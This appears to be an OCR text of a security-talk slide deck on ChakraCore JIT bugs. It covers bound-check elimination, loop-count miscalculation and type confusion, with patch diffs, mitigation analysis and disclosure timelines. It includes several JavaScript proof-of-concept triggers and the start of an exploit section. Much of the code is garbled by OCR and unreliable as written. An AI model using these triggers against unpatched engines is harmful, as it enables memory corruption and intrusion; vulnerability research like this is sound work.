if (instr->GetSrc2() && this->TypeSpecializeBinary(&instr, pSrclval, pSrc2val, pDstval, srclOriginalval, src20riginalval,

{
if (!this->IsLoopPrePass() &&

instr->m_opcode != Js::0pCode::Nop &&
instr->m_opcode != Js::0pCode::Br && // We may have const fold a branch

// Cannot const-peep if the result of the operation is required for a bailout check
I'(instr->HasBailOutInfo() && instr->GetBailOutKind() & IR::BailOutOnResultConditions))

if (srclval && srclVal->GetValuelInfo()->HasIntConstantValue())
{

if (this-bOptConstPeep(instr, instr->GetSrcl(), pDstval, srcilVal->GetValueInfo())
{

}

e

return instr;

}

else if (src2val && src2val->GetValueInfo()->HasIntConstantvValue())

{

if (this—lOptCOnstPeepkinstr, instr->GetSrc2(), pDstval, src2Val->GetValueInfo()))
{

return instr;
} 69



Patch about CVE-2018-8137

* TypeSpecializeBinary will call OptConstFoldBinary or
OptConstFoldUnary function, after this it will call OptConstPeep, It
will make the Induction Variable indeterminate.



CVE-2018-8137 patch timeline

* We found this vulnerability at Jan 2018.
* Patched by Microsoft's May 2018 Security Update.



Bypass patch again: a killed Oday

//ch.exe -mic:1 -off:simplejit -bgjit- -dump:GlobOpt
function opt(arr, start, end) {
for (let 1 = start; | < end; 1++) {
If (1 == 10) {
for(let |=0;<0;++)
1+=0;
}
arr[i] = 2.3023e-320;
}

}
let arr = new Array(100);

arr.fill(1.1);
opt(arr, O, 3);
opt(arr, 0, 100000):



9849
9850
9851
9852
9853
9854
9855
9856
9857
9858
9859
9860
9861
9862
9863
9864
9865
9866
9867
9868
9869
9870

bool

‘let j=0;j<0’

GlobOpt::TryOptConstFoldBrGreaterThanOrEqual(
IR::Instr *const instr,

¥

const
Value
const
const
Value
const
const

bool branchOnGreaterThanOrEqual,
*const srcilvalue,

int32 minil,

int32 max1,

*const src2Value,

int32 min2,

int32 max2)

Assert(instr);
Assert(srclvalue);

Assert(DoAggressiveIntTypeSpec() ? srclValue->GetValueInfo()->IsLikelyInt()

Assert(src2value);

Assert(DoAggressiveIntTypeSpec() ? src2Value->GetValueInfo()->IsLikelyInt()

srclValue->GetValueInfo()->IsInt());

src2Value->GetValueInfo()->IsInt());

if(valueInfo::IsGreaterThanOrequalTo(srclvalue, minl, maxl, src2Value, min2, max2))

{

OptConstFoldBr(branchOnGreaterThanOrEqual, instr, srclValue, src2Value);

return true;
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‘let j=0;j<0’

« [min1 max1] = [0,0x7ffffff], [min2,max2] = [0,0]

* Because minl >=max2, Valuelnfo:lsGreaterThanOrEqualTo
return true, so the code will run OptConstFoldBr.



12103
12104
12105
12106
12107
12108

®12109
12110
12111
12112

A L

12121
12122
12123
12124
12125
12126
12127
12128
12129
1213@

12153
12154
12155
12156
12157
12158
12159

Remove DeadBlock

-GlobOpt: :0ptConstFoldBr(bool

GOPT_TRACE_INSTR(instr,
BasicBlock *deadBlock;

if (srclval) ====<-

this->ToInt32(instr,

if (test)

instr->m_opcode = Js:

instr->FreeSrcl();
if(instr->GetsSrc2())

{

instr->FreeSrc2();

3}

IR::Instr *instr, Value * srclval,

_u("Constant folding to branch:

instr->GetSrcl(), this->currentBlock, srcival, nullptr,

:0OpCode: :Br;

IdeadBlock = instr->m_next->AsLabelInstr()->GetBasicBlock(); I

I this->currentBlock->RemoveDeadSucc(deadBlock, this->func->m_+fg); I

if (deadBlock->GetPredList()->Count()

deadBlock->SetDataUseCount(®);

Value * src2val)

false);




Remove DeadBlock

* OptConstFoldBr will remove DeadBlock, so the instr “I+=0" also
will be removed.

* This cause the following result
* During the preLoop Phase, the “i1+=0" will make the ValueType of | to be

not IntBounds.

* During the non-prelLoop phase ,because Deadblock was removed , the
“I+=0" Is also removed, so the OptConstFoldUnary, OptConstFoldBinary,
OptConstPeep will not run. the Induction Variable “I” is determinate. So

we got an vulnerability again!



this killed Oday patch timeline

* We found this vulnerability before May 2018.

* This vulnerability can’t exploit because of the mitigation added In
Security Update at May 2018. So | haven't reported it to Microsoft.

* Then Microsoft updated the mitigation in Security Update at Jul
2018, It became a valid vulnerability that can cause an out-of-
bound read in ChakraCore. ( | forget to report it to MSRC).

* Finally Patched in Microsoft Aug 2018 Security Update.



Finally patch about this attack Point

* ChakraCore August 2018 Security Update

* https://github.com/Microsoft/ChakraCore/pull/5596/commits/e9d
6a3e3bc050719e5889695705467496f920d54d



Finally Patch

remove unsafe bound check elimination ¢Prev Next)

When deciding if we can eliminate a bound check we check if the max value for the index is less than the min value for the length. If
this 1s true, we can remove the bound check.

In the code we were testing if indexUpperBound <= lengthLowerBound + (-1 - indexLowerBound). If the index lower bound is less than @
(e.g. if it is INT_MIN because we don't know the range), we may incorrectly eliminate bound checks.

This was essentially never kicking in, so I removed the condition altogether.

P master (#5596) © v1.116 .. v1.10.2

':l:':- MikeHolman authored and aneeshdk committed on 14 Jun 2018 commit e9déa3e3bcO50719e5889695705467496920d5d
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912

Mz W@ -897,19 +897,8 @@ void GlobOpt::ArraySrcopt::DoLowerBoundCheck()

Assert(lindexIntSym || indexIntSym->GetType() == TyInt32 || indexIntSym->GetType() == TyUint32);

- // The info in the landing pad may be better than the info in the current block due to changes made to
- // the index sym inside the loop. Check if the bound check we intend to hoist is unnecessary in the
- // landing pad.
- it (lvalueInfo::IslLessThanOreEqualTo(
- nullptr,
- o,
- e,
- hoistInfo.Indexvalue(),
- hoistInfo.IndexConstantBounds().LowerBound(),
- hoistInfo.IndexConstantBounds().UpperBound(),
- hoistInfo.0ffset()))
@  + if (hoistInfo.IndexSym())
{
- Assert(hoistInfo.Indexsym());
Assert(hoistInfo.Loop()->bailoutInfo);

globOpt->EnsureBailTarget(hoistInfo.Loop());

bt

stz @@ -1156,106 +1145,94 @@ void GlobOpt::ArraySrcOpt: :DoUpperBoundCheck()

Assert(lindexIntSym || indexIntSym->GetType() == TyInt32 || indexIntSym->GetType() == TyUint32);
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R
12

@@ -1156,106 +1145,94 @@ vold GlobOpt::ArraySrcOpt: :DoUpperBoundCheck()

Assert(lindexIntSym || indexIntSym->GetType() == TyInt32 || indexIntSym->GetType() == Tyuint32);

- // The info in the landing pad may be better than the info in the current block due to changes made to the

- // index sym inside the loop. Check if the bound check we intend to hoist is unnecessary in the landing pad.

- it (!ValueInfo::IslLessThanOrEqualTo(

= hoistInfo

- hoistInfo.
- hoistInfo.
- hoistInfo.
- hoistInfo.

.IndexValue(),

IndexConstantBounds().LowerBound(),
IndexConstantBounds().UpperBound(),
HeadSegmentLengthvalue(),

HeadSegmentLengthConstantBounds().LowerBound(),

- hoistInfo.HeadSegmentLengthConstantBounds().UpperBound(),
- hoistInfo.0ffset()))

- {

- Assert(hoistInfo.Loop()->bailOutInfo);

- globopt->EnsureBailTarget(hoistInfo.Loop());

+ Assert(hoistInfo.Loop()->bailOutInfo);

+ globopt->EnsureBailTarget(hoistInfo.Loop());

- if (hoistInfo.LoopCount())

+ if (hoistInfo.LoopCount())

- {

+ // Generate the loop count and loop count based bound that

will be

used

for the bound check
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Finally Patch

* This patch removed the Valuelnfo::lsLessThanOrEqualTo branch,
no matter what the situation, the BoundCheck Instr just can be
hoisted, will never be eliminated. So the attack point no longer
exists.



CVE-2018-8145

function opt(arr,step) {
if(arr.length < 0x10)
return;
let index = 0;
for(var t=2;t<step;t++)
{
If(t>=5)
index+=0x20;
else
index+=0x40;
arr[index]=4;
}
}

ua = new Uint32Array(0x1000);
opt(ua,0x10);

ua = new Uint32Array(0x75);
opt(ua,4);



loopcount + InductionVariable

* Upperboundcheck formula

(index + indexof fset + loopCountMinusOne * maxChange < headSegmentLength — 1
° < maxChange = InductionVariable.changeBounds.upperBound
loopCountMinusOne = (left — right + of fset) /minMagnitudeChange




CVE-2018-8145

* Loopcount is created according to InductionVariable t
* left = iIndex=0, right = 0, offset = -3
* loopCountMinusOne = (Index-3)/1

* maxChange = 0x40
* IndexOffset = 0x20
*S0 0 +0x20 + (4-3)/1 *0x40 < Ox/5-1



CVE-2018-8145

* Run the code

* First Cycle
e t=2 t<4; iIndex = 0x40 ; access arr[0x40]

* Second Cycle:

e t1=3 t<4:Index=0x40+0x40 = 0x80 ; acces arr[0x80], cause out of bound
read/write



The root cause

* loopCountMinusOne means loopCount -1

* The iIndexOffset will not always equal to Induction Variable's
maxChange, it may less than maxChange, when this happens, it
may cause an out of bound read/write vulnerability.



Patch CVE-2018-8145

September 2018 Security Update #5652
M Merged Diff settings v

Changes from 1 commit v  File filter... ¥ X Clear filters  Jump to... ~

1864  + Stacksym* loopCountSym = nullptr;
1865 +
1866 + // If indexOffset < maxMagnitudeChange, we need to account for the difference between them in the bound check
1867 + - T I o (o) TTe ' $ll i nductionVariable + loopCountMinusOne * maxMagnitudeChange + maxMagnitudeChange - indexOffset <= length - offsef
1868  + // Since the BoundCheck instruction already deals with offset, we can simplify this to
1869  + // BoundCheck: inductionvariable + loopCount * maxMagnitudeChange <= length + indexOffset - offset
1870+ 1f (needsMagnitudeAdjustment)
1871 + {
1872+ GenerateLoopCountPlusOne(loop, loopCount);
1873+ loopCountsym = loopCount->LoopCountSym();
1874  + 1
1875 + else
1876 + {
1877 + loopCountSym = loopCount->LoopCountMinusOneSym();
1878  + }
// intermediatevalue = loopCount * maxMagnitudeChange 88

CtarkCum FintarmadiatavalinaCums



After patch

*Upperboundcheck formula

index + indexof fset + (loopCountMinusOne + 1) * maxChange < headSegmentLength — 1
maxChange = InductionVariable. changeBounds. upperBound
loopCountMinusOne = (left — right + of fset) /minMagnitudeChange



CVE-2018-8145 patch timeline

* We found this vulnerability at Jan 2018.

* Mitigation in Microsoft May 2018 Security Update(MSRC said this
vulnerability was fixed in May 2018 Security update. In fact, it's just
a mitigation)

* Finally patched in Microsoft Sep 2018 Security Update.



function opt(arr,tag) {
if(arr.length < 0x200 )
return;
let index =0;
for(var t=0;t<1;t++)
{
if(tag===8)

index += 0x1000:;

iIndex +=2;
arr[index]=1234;
}

}
ua = new Array(0x300);

ua.fill( 1.1);
opt(ua,2);
opt(ua,8);

CVE-2019-0092



* LoopCount sometimes can be calculated like following:

* If rightSym and leftSym both equal to zero, loopCount will be
calculated as follows :

* |[n this case offset equals to zero

1656 -

1657

1658 -

1659
1660
1661
1662

if(!rightSym)

{

if(!leftSym)

{

loop->loopCount = new(loopCountBuffer) LoopCount(offset\/ minMagnitudeChange);
break;

92



Simplified the formula

* The UpperBoundCheck can Simplified into the following
formula

< (index + indexOf fset + loopCountMinusOneConstantValue * maxChange < HeadSegmentLength
loopCountMinusOneConstantValue = of fset/minChange

\.



* In this case
* Offset = 0, so loopCountMinusOneConstantValue = 0

* Index Initialize value i1s 0, IndexOffset I1s Ox02, so 0 + 2 < 0x300

* When tag = 8, loop run like following
* Index+=0x1000 => index=0x1000
* Index+=0x02 =>index=0x1002
* arr[index] => arr[0x1002],cause an out of bound read/write vulnerability



Patch aobut CVE-2019-0597

CVE-2019-0592 Browse files
¥ master (#6016) O v1.11.7

.'1 meg-gupta authored and pleath committed 26 days ago 1 parent e@7be2fd commit cedec3938b6ca74308ba25a22a659537clafab2c
Showing 2 changed files with 6 additions and 1 deletion. Unified Split
6 HEEE lib/Backend/GlobOptIntBounds.cpp View file W
=2 @@ -2985,7 +2985,11 @@ void Globopt::DetermineArrayBoundCheckHoistability(
{

// The loop count is constant, fold (indexOffset + loopCountMinusOne * maxMagnitudeChange)

TRACE_PHASE_VERBOSE(Js::Phase::BoundCheckHoistPhase, 3, _u("Loop count is constant, folding'n"));

if(Int32Math: :Mul(loopCount->LoopCountMinusOneConstantvalue(), maxMagnitudeChange, &offset) ||

int loopCountMinusOnePlusOne = 9;

if (Int32Math: :Add(loopCount->LoopCountMinusOneConstantvalue(), 1, &loopCountMinusOnePlusOne) ||

+ o+ o+ o+ 4

Int32Math: :Mul (loopCountMinusOnePlusOne, maxMagnitudeChange, &offset) ||
Int32Math: :add{offset, indexOffset, &offset))

TRACE_PHASE_VERBOSE(Js::Phase: :BoundCheckHoistPhase, 4, u("Folding failed“n")); 95

IR



3

After Patch the upperbound check

index + indexOf fset + (loopCountMinusOneConstantValue + 1) * maxChange < HeadSegmentLength
loopCountMinusOneConstantValue = of fset/minChange

96



CVE-2019-0592 patch timeline

* We found this vulnerability at Jan 2018.

* This vulnerability was reported at Mar 2018 and the MSRC case 1d was
44158

* When Microsoft Fixed the vulnerability CVE-2018-8137, the poc |
reported about this vulnerability cannot be triggered , MSRC thought
that case 44158 i1s as same as CVE-2018-8137. In fact, the root cause
about 44158 is not as same as CVE-2018-8317, make a small change
on the poc, It could trigger the crash again.

* | reported this vulnerability to MSRC again and have got the CVE-
2019-0592.

* Finally Patched in Microsoft Mar 2019 Security Update.



Mitigation against CPU Spectre

* Purpose: Add masking of stores for protection against CPU
Spectre Vulnerability.

* Implement: while reading or writing an array’'s element it will
check whether the index out of bound of the array range.

* Side effect: although this mitigation Is used to against CPU
Spectre vulnerabillity, 1t also effects the array’s out-of-bound
vulnerability. It translates the out of bound write vulnerability to
zero address access, and translates the out of bound read
vulnerabllity to crash or returning zero.

* Mitigation implement time: May 2018 Microsoft Security Update



Mitigation Implemention

* Suppose that the access of elements Is arr[index]
* element_ddress = arr_baseaddress + indexxsizeof(arr[0])
* sub = Index-headSegmentlLength
* mask = sub>>63

* Write Mitigation

* element_address = element_address & mask;
* Read Mitigation

* Value = arr[index] & mask



Effect about array write

* [f Index < headSegmentlLength
* mask = sub >> 63 = Oxfffffffffffff
* address = address & mask = address & Oxffffftftiffffff=address
* So add[index] can right access the array
* [f Index >= headSegmentlLength(out of bound write vulnerability)
* mask = sub >> 63 = 0x0000000000000000
* address = address & mask = address & 0x0000000000000000 = 0

* So add[index] will access 0 address, will lead to null pointer access. This
translate the out of bound write vulnerability to null pointer access



Fffect about array read

* [f Index < headSegmentlLength
* mask = sub >> 63 = Oxfffffffffffff
* value = arr[index] & mask
* So add[index] can correct get the array[index] value

* [f Index >= headSegmentlLength(out of bound read vulnerability)
* mask = sub >> 63 = 0x0000000000000000
* Value = arr[index] & mask = arr[index] & 0x00000000
* SO add[index] will return O or crash, can not Iinformation leak.



shouldPoisonlLoad

* ChakraCore May 2018 Security Update

* ChakraCore v1.8.4
https://github.com/Microsoft/ChakraCore/releases/tag/v1.8.4

// Should we poison the load of the address to/from which the store/load happens?
bool shouldPoisonLoad = maskOpnd != nullptr
&& (
(lisstore &&
(baseValueType.IslLikelyTypedArray()
? CONFIG_FLAG_RELEASE(PoisonTypedArraylLoad)

((indirType == TyVar && CONFIG_FLAG_RELEASE(PoisonVarArraylLoad))
|| (IRType IsNativeInt(indirType) && CONFIG_FLAG_ RELEASE(PoisonIntArraylLoad))
|| (IRType IsFloat(indirType) && CONFIG_FLAG_ RELEASE(PoisonFloatArraylLoad)))

)

)
| 1
(isstore &&

(baseValueType.IslLikelyTypedArray()

? CONFIG_FLAG_RELEASE(PoisonTypedArraysStore)
((indirType == TyVar && CONFIG_FLAG_RELEASE(PoisonVarArrayStore))

| (IRType_IsNativeInt(indirType) && CONFIG_FLAG RELEASE (PoisonIntArrayStore))
| (IRType_ IsFloat(indirType) && CONFIG_FLAG RELEASE(PoisonFloatArrayStore)))

I
I
)
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shouldPoisonlLoad

* TypedArray, Var Array, Int Array, Float Array read or write were
also been mitigated, so the out-of-bound R/W vulnerability of
array In Javascript can't be exploited.



Mitigation Update
* ChakraCore July 2018 Security Update
* ChakraCore v1.10.1

bool shouldPoisonLoad =

// Should we poison the load of the address to/from which the store/load happens?
= maskOpnd !'= nullptr
&& (

(lisStore && (!tnstr—>IsSafeToSpeculate{i) &8
(basevValueType.IsLikelyTypedArray()

? CONFIG_FLAG_RELEASE(PoisonTypedArraylLoad)
((indirType == TyVar && CONFIG_FLAG_ RELEASE(PoisonVarArraylLoad))

| | (IRType_IsNativeInt(indirType) && CONFIG_FLAG_RELEASE(PoisonIntArraylLoad))
| | (IRType_IsFloat(indirType) && CONFIG_FLAG_RELEASE(PoisonFloatArrayLoad)))
)

)
| |

(isStore &&
(basevValueType.IsLikelyTypedArray()
? CONFIG_FLAG_RELEASE(PoisonTypedArrayStore)
((indirType == TyVar && CONFIG_FLAG_ RELEASE(PoisonVarArrayStore))

(IRType_IsNativeInt(indirType) && CONFIG_FLAG_RELEASE(PoisonIntArraysStore))

I
| (IRType_IsFloat(indirType) && CONFIG_FLAG RELEASE(PoisonFloatArrayStore)))
)
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Where call SetlsSafeToSpeculate

* [f the r= arr[index] in the loop, will disable the mask.

3335 - switch (instr->m_opcode)

3336 {

3337 i case Js::0pCode::LdElemI_A:

3338 case Js::0pCode::ProfiledLdElemI A:
3339 - {

3340 IR::0pnd* dest = instr->GetDst();
3341 ¢ if (dest->IsRegOpnd())

3342 {

3343 SymID symid = dest->AsRegOpnd()->m sym->m id;
3344 -

3345

3346

3347

e Ty



Why update

* Guess the reason I1s that the compiler did the best effort to
optimize the BoundCheck, If we add mitigation to all array’s
read/write, compiler’s early efforts will be wasted.

* After update
* Mitigation for the array’s element write Is not change

* Mitigate the array’s read when this read isn't in the loop. If the read Is In
the loop, not mitigate it



CVE-2019-0650

let arr = [1.1];

tf = function( ){print("haha")};

Object.defineProperty(tf.__proto__ . proto__, "alias”, {
get:function( )

{
arr[0] = {};
return null;
}
}
);
function opt(arr, obj) {
arr[0] = 1.1;
obj.values;
arr[0] = 2.3023e-320;

}

opt(arr, {});
opt(arr, [1,2,3]);
print(arr[0]);



lowerer Instr Information

s24. 164 = MOV [s6<s12>[Likely0Object]. var+8]. i64 t#
s25. ut4d = MOV 0 (0x0).u64 H

CMP =24 164, [O0xXXXXXXXX (&GuardValue)].u64 #

JNE $L10 H
s6<s12>[LikelyObject]. var = CMOVNE =6<s12>[LikelyObject]. var, s2b.ut64 #
sT[LikelyUndefined CanBeTaggedValuel. var = MOV [OxXXXXXXXX (&PropertvSlot)]. i64 #

JMP $L12 H

$L10: [helper] #
s26. ub4 = MOV O0xXXXXXXXX (InlineCache).ut4d H

CMP s24. 164, [s26.u64+8]. i64 #

JNE $L11 #
=27. 164 = MOV [=26. u64+16]. i64 #
s28. 164 = MOVZXW [=26. u64+2] ul6 H
STEleelyUndeflned CanBeTaggedValuel]l. var = MOV [=s27. i64+s28. 164*8]. 164 H

JMP $L12 #

$L11: [helper] H
— MOV - A% : : H#
OxXXXXXXXX (&ImplicitCallFlags)].u8 = MOV 1 (0Ox1).1i8 H
OxXXXXXXXX (&DisablelImplicitCallFlags)]. i8 = MOV 1 (0x1).i8 H
arg - = 370 (Ux1liS). 132 t#
argd (=32) (r9) . var = MOV s29. var #
arg3(s33) (r8). u32 = MOV 0 (0x0).u32 #
arg2 (s34) (rdx) . u64 = MOV O0xXXXXXXXX (InlineCache). ub64 H
argl (235) (rex). u6d = MOV OxXXXXXXXX (FunctionBody [opt (#1.3), #4]).u64d #
236 (rax) . ub4 = MOV Op PatchGetValue. u64 #
530 (rax) . var = CALL 36 (rax) . us4 #0007
=i 1 7 = MOV =230(rax) var H
xXXXXXXXX (&DisableImplicitCallFlags)].i8 = MOV 0O (0x0).i8 H :]
CMP [OxXXXXXXXX (&ImplicitCallFlags)].u8, 1 (0xl1l).i8 #
JEG) PL1Z T
$L14: [helper] i
CALL SaveAllRegistersAndBailOut. u64 #0007 Bailout: #0007 (BailOutOnImpl
JMP SL7 H 108

$L12: H



ImplicitCallFlags Setting

* obj.values will trigger a call of Op_PatchGetValue ,we can see that
It have been set the ImplicitCallFlags, DisablelmplcitCallFlags
before 1t was called. After finished the call, it will check the flags.

* Why this will also cause a vulnerability?



Root cause analysis

void JsBuiltInEngineInterfaceExtensionObject::InjectlsBuiltInLibraryCode(ScriptContext * scriptContext)

{
JavascriptExceptionObject *pExceptionObject = nullptr;

if (jsBuiltInByteCode != nullptr)

{
return;

}

try {
EnsurelsBuiltInByteCode(scriptContext);
Assert(jsBuiltInByteCode != nullptr);

// Clear disable implicit call bit as initialization code doesn't have any side effect
Js::ImplicitCallFlags saveImplicitCallFlags = scriptContext->GetThreadContext()->GetImplicitCallFlags();
scriptContext—>GetThreadContext()—>C1earDisab1eImp1icitFlaEs();

lJavascriptFunction: :CallRootFunctionInScript(functionGlobal, Js::Arguments(calllInfo, args))d
scriptContext->GetThreadContext()->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags));

Js::ScriptFunction *functionBuiltins = scriptContext->GetLibrary()->CreateScriptFunction(jsBuiltInByteCode->C
functionBuiltins->SetPrototype(scriptContext->GetLibrary()->nullvValue);

// Clear disable implicit call bit as initialization code doesn't have any side effect
savelmplicitCallFlags = scriptContext->GetThreadContext()->GetImplicitCallFlags();
scriptContext->GetThreadContext()->ClearDisableImplicitFlags();
IJavascriptFunction::CallRootFunctionInScript(functionBuiltins, Js::Arguments(callInfo, args));l

scPlptContext—>GetThreadContext()—>SetImpI1c1tCaIIFIagsEEjs::ImpI1c1tCaIIFlags)(saveImp 1c1itCa Flags))flo




"use strict”;

(function (intrinsic) {

JsBuiltin.js

var platform = intrinsic.JsBuiltIn;

"Symbol.iterator"

let FunctionsEnum = {
ArrayValues: { className: "Array", methodName: "values", argumentsCount: @, forcelInline: true /*optional#*/,|alias:
ArrayKeys: { className: "Array", methodName: "keys", argumentsCount: ©, forceInline: true /*optional*/ },
ArrayEntries: { className: "Array”, methodName: "entries", argumentsCount: @, forceInline: true /*optional*/ },
ArrayIndexOf: { className: "Array", methodName: "indexOf", argumentsCount: 1, forceInline: true /*optional*/ },
ArrayFilter: { className: "Array", methodName: "filter", argumentsCount: 1, forceInline: true /*optional*/ },

}s

platform.registerFunction|FunctionsEnum.ArrayKeys}p function () {
"use strict”;

if (this === null || this === undefined) {
__chakralLibrary.raiseThis_NullOrUndefined("Array.prototype.keys™);

}

let o = _ chakraLibrary.Object(this);

return __chakraLibrary.CreateArrayIterator(o, @ /* ArrayIterationKind.Key*/);

s

platform.PegisterFunctionlFunctionsEnum.ArrayValues[ function () {
"use strict";

if (this === null || this === undefined) {
__chakraLibrary.raiseThis_NullOrUndefined("Array.prototype.values");

3

let o = __chakralLibrary.Object(this);

return __chakralLibrary.CreateArrayIterator(o, 1 /* ArrayIterationKind.Value*/);

})s;

platform.PegistePFunctionlFunctionsEnum.ArraxEntrieg, function () A
"use strict”;

if (this === null || this === undefined) {

_ chakralLibrary.raiseThis_NullOorUndefined("Array.prototype.entries™);
}
let o = __chakralLibrary.Object(this);

return _ chakralLibrary.CreateArrayIterator(o, 2 /* ArrayIterationKind.KeyAndValue*/);

s
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*tf. proto_ . proto_ == funcinfo._ proto . proto

Var JsBuiltInEngineInterfaceExtensionObject::EntryJsBuiltIn_RegisterFunction(RecyclableObject* function, CallInfo callInfo, ...)

{

EnginelnterfaceObject_CommonFunctionProlog(function, callInfo);

AssertOrFailFast(args.Info.Count >= 3 && JavascriptObject::Is(args.Values[1l]) && JavascriptFunction::Is(args.Values[2]));
JavascriptLibrary * library = scriptContext->GetLibrary();

// retrieves arguments
RecyclableObject* funcInfo = nullptr;
if (!JavascriptConversion::ToObject(args.Values[1l], scriptContext, &funcInfo))

{
JavascriptError: :ThrowTypeError(scriptContext, JSERR_FunctionArgument_NeedObject, _u("Object.assign"));

Var classNameProperty = JavascriptOperators::0P_GetProperty(funcInfo, Js::PropertyIds::className, scriptContext);
Var methodNameProperty = JavascriptOperators::0P_GetProperty(funcInfo, Js::PropertyIds::methodName, scriptContext);

Var argumentsCountProperty = JavascrlptOperators :0P_GetProperty(funcInfo, Js::Propertylds: argumentsCount scriptContext);
iptContext);

Var faliasProperty = JavascriptOperators::0P GetProperty(funcInfo, Js: PropertyIds :alias, scriptContext);

O\
lead to user-defined JS function




CVE-2019-0650 patch timeline

* We found this vulnerability at Sep 2018.
* Patched at Microsoft Feb 2019 Security Update.



CVE-2019-0067

<script>
function opt(obj,obj1)
{
obj.a = 3.3;
let tmp = {__proto__:objl};
obj.a = 3.5;
}
obj ={a:1,b:2,c:3};
objl = {a:1,b:2,c:3};
for(let 1I=0;1<0x10000;1++)
opt(obj,objl);
obj ={a:1,b:2,c:3};
opt(obj,obj);
alert(obj.c);
</script>
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DynamicODbject

// Memory layout of DynamicObject can be one of the following:

[/ (#1) (#2) (#3)

[/ +----—— - + e e e - e -
// | vtable, etc. | | vtable, etc. | | vtable, etc. |
7 - [ E—— [ E——— |
// | auxSlots | | auxSlots | | inline slots |
// | union | | union | | |
/] A==mmmmmmmmm - + | I | I
// | inline slots | | |
// e e T - e -

// The allocation size of inline slots is variable and dependent on profile data for the
// object. The offset of the inline slots is managed by DynamicTypeHandler.
// More details for the layout scenarios below.

Field(Field(Var)*) auxSlots;
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auxSlots

* In DynamicObject, auxSlots have two meanings.
* |f DynamicHandler is ObjectHeaderInlinedTypeHandler, the auxSlots will
store the value of the Object’s attribute
* Else, the auxSlots Is a pointer, which points to a memory address, which
stores the object’s attribute value.



Op_InitProto

* Op_InitProto will trigger to call DynamicTypeHandler::AdjustSlots
function

IRFEE
=R
g»  ChakraCore.dll!s:DynamicTypeHandler: AdjustSlots(Js:DynamicObject * const object, const unsigned short newlnlineSlotCapacity, const int newAuxSlotCapacity) 17 710
ChakraCore.dll')s::DynamicObject:DecptimizeObjectHeadernlining () 37 579
ChakraCore.dlll)s:Path TypeHandlerBase: ConvertToSimpleDictionary Type<)suSimpleDictionary TypeHandlerBase<unsigned short Js:PropertyRecord const * _ptrgd, 0= > (Jsu:DynamicObject * instance, int propertyCapacity, bool mayBecomeShared) 17
ChakraCore.dll!s::PathTypeHandlerBase: TryConvertToSimpleDictionary Type<JsuSimpleDictionary TypeHandlerBase< unsigned shortJs::PropertyRecord const ™ __ptridd, 0> = ({Js:DynamicObject * instance, int propertyCapacity, bool mayBecomeShared)
ChakraCore.dlll)s:PathTypeHandlerBase: TryConvertToSimpleDictionary Type(ls:DynamicObject * instance, int propertyCapacity, bool mayBecomeShared) 1T 295
ChakraCore.dlll)s:PathTypeHandlerBase: SetlsPrototype()s:DynamicObject * instance) 17 2795
ChakraCore.dll!s:DynamicObject:SetlsPrototypel]) 7 668
ChakraCore.dlll)s:RecyclableObject:SetlsPrototype() 17 190
ChakraCore.dlll)s::DynamicObject: SetPrototype(ls:RecyclableObject * newPrototype) 1T 627
ChakraCore.dllls:JavascriptObject: ChangePrototype(Js:RecyclableObject * object, J=:RecyclableObject * newPrototype, bool shouldThrow, Js:ScriptContest * scriptContext) 7 293
ChakraCore.dlll)s:JavascriptOperators: OP_InitProto(void * instance, int propertyld, void * value) 17 7064

[FHEEHUE
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656
657
658
659
660
661
662
663
664
665
666
667

732
733
734
735

Ad|ustSlots

void DynamicTypeHandler: :AdjustSlots(
DynamicObject *const object,
const PropertyIndex newInlineSlotCapacity,
const int newAuxSlotCapacity)

Assert(object);

// Allocate new aux slot array
9 Recycler *const recycler = object->GetRecycler();

TRACK_ALLOC_INFO(recycler, Var, Recycler, @, newAuxSlotCapacity);
Field(Var) *const|newAuxSlots|= reinterpret_cast<Field(Var) *>(

recycler->AllocZero(newlAuxSlotCapacity * sizeof(Field(Var))));

object->auxSlots = newAuxSlots;
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Ad|ustSlots

* AdjustSlots have change the auxSlots to a pointer. But the JIT
code also save object.a values to auxSlots, so this lead to type
confusion vulnerability.

GLOBOPT INSTR: 214{s?[Uninitializedlbject 1—>___proto .war? = InitProto g7 [Like lyCanBeTaggedlUalue_0Object].var? BBABA13 Bailout: #@fia {(BailOutOnImplicitCalls>

520 . var HMOouw s7[LikelyCanBeTaggedUalue_Object 1. var?
221 _war = MOou 2P [Uninitializedlbject 1.wvar
[BxHHEHEEEEE BImplicitCallFlags?>l.u8 = MOU 1 <{Bx1l>.i8
argI(s225(r8> . var = HOU sZA.var
arg2{s23>{(rdx>.1i32 = HMOU 469 (Bx1DS5>_i32
argl{s24>{rcx? . va o o e
=25 (rax) . ubd = MoU OP_InitProto.ubd
ChALL =25 <{rax? . ub4
CHP LHxA AR AAARNE C&lmplicitCallFlags>»]1.uB,. 1 (Bxl>.iB #
JEGQ SL3
LLd: Lhelper]
2L5: L[helper]
SaveAllRegistersAndBailOut .ub4 Bailowut: #H#AAla (BailOutOnImplicitCalls¥
SL6
SL3:

StatementBoundary H2
GLOBOPT IMETR: s13Csb<{slb > [LikelyDbject 1-2>a2<B . m, ++, . s15%+m? . slb6>[CanBeTaggedUalue_Float J.var? = StFld shICanBeTaggedUalue_ Floatl.var? HAE1d

[=6<s15 >»[LikelyObjectJ.var+l6l._i64 = MOU sS5I[CanBeTaggedlUalue_Float]l.var H




Attack point

* CVE-2019-0539,CVE-2019-0567,CVE-2018-38617

* You might find other vulnerability in this attack point if you have
enough time.



Patch about CVE-2019-0567

CVE-2019-0539, CVE-2019-0567 Edge - Chakra: JIT: Type confusion via N... T
—.ewScObjectNoCtor or InitProto - Google, Inc.

¥ master (#5899) O v1.11.7 ... v1.115

i Chakra Automation authored and rajatd committed on 19 Nov 2018 1 parent d73c5f1 commit 788f17b@ce@6eas84553b123c174d1ff7052112a0
Showing 1 changed file with 9 additions and O deletions. Unified | Split

9 mEEEm lib/Backend/GlobOptFields.cpp View file hd

b3 B4 @@ -456,6 +456,15 @@ GlobOpt::ProcessFieldkKills(IR::Instr *instr, BVSparse<JitaArenaAllocator> *bwv, bo

}

break;

case Js::0pCode::InitClass:

case Js::0pCode::InitProto:

case Js::0pCode: :NewScObjectMoCtor:
it (inGlobopt)
i

KillobjectHeaderInlinedTypeSyms(this->currentBlock, false);

}

break;

R I I B B

default: 121
it (instr->uUsesallrields())



CVE-2019-0567 patch timeline

* We found this vulnerability at Sep 2018.
* Patched in Microsoft Jan 2019 Security Update.



Exploit CVE-2019-0567

var obj rw = {pl:l,pZ2:2,p3:3,pd:4};
obj rw.pb ;

obj] rw.pt = o;
obj rw.p7 = 7;

obj rw.p8 8 ;
obj] rw.p2 = 9;

